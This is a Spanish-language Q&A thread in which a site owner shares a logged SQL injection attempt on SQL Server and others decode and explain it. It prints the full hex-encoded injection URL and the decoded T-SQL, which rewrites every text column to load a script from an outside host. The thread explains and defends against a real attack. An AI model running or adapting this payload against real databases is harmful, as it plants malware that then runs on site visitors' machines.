una reales prevenir paso mas inyecciones inyeccion injection hacer ejemplos ejemplo comunes como casos basico ataques sql-server sql-injection

sql server - reales - Intento de ataque de inyección SQL: ¿qué están tratando de hacer?



inyecciones sql mas comunes (6)

A continuación se muestra el SQL decodificado que estaban tratando de impulsar:

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=''u'' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(''update [''+@T+''] SET [''+@C+'']=''''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''''+[''+@C+''] WHERE ''+@C+'' NOT like ''''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--'''''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Tengo un sitio web público que ha estado recibiendo una serie de ataques de inyección SQL en las últimas semanas. Utilizo exclusivamente procedimientos almacenados parametrizados, así que creo que no ha habido ataques exitosos , pero un registro reciente mostró una técnica interesante:

Se agregaron saltos de línea para mayor claridad

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&_X="

¿Alguien puede arrojar luz sobre lo que "CAST y EXEC" está tratando de hacer?


Creo que hemos tenido este ataque antes. Está intentando insertar una etiqueta <script> en cada campo en cada tabla en la base de datos.


Ejecute esto, por ejemplo en mysql:

select CAST(0x44...72 AS CHAR(4000)) as a;

y lo sabrás Ishmaeel pegó el código.

Este es un gusano SQLserver, no un atat atacado.


El algoritmo de Python más simple para descifrar el código hexadecimal es este:

text = "4445434C415245204054207661726368617228323535292C404..." def getText(): for i in range(0, len(text), 2): byte = text[i:i+2] char = int(byte, 16) toPrint = chr(char) yield toPrint print ''''.join(getText())


El código, cuando se descifra de hexadecimal en caracteres, parece recorrer todas las tablas de la base de datos, seleccionar todas las columnas que son de tipo texto / char, y al final de cada valor de este tipo agregar una ejecución de script malicioso de http://www2.s800qn.cn/csrss/w.js . Ahora bien, si en su sitio web tiene al menos un lugar donde no escapa datos de texto recuperados de su base de datos, los usuarios de su sitio tendrán este script malicioso ejecutado en sus máquinas.


Es un script de adware-dropper, creado para obstruir su base de datos con etiquetas <script> que se muestran en sus páginas. Está codificado porque la mayoría de los servidores explotarían si intentas pasar esa basura a través de la URL.

La mayoría de las cosas como esta son ataques de intento aleatorio ya que golpearán cualquier cosa con una cadena de consulta, pero podría ser un ataque dirigido. Pon a prueba tu sitio para asegurarte de que no permita que se ejecute ningún SQL de las cadenas de consulta. Solo el uso de consultas parametrizadas debería cubrirlo.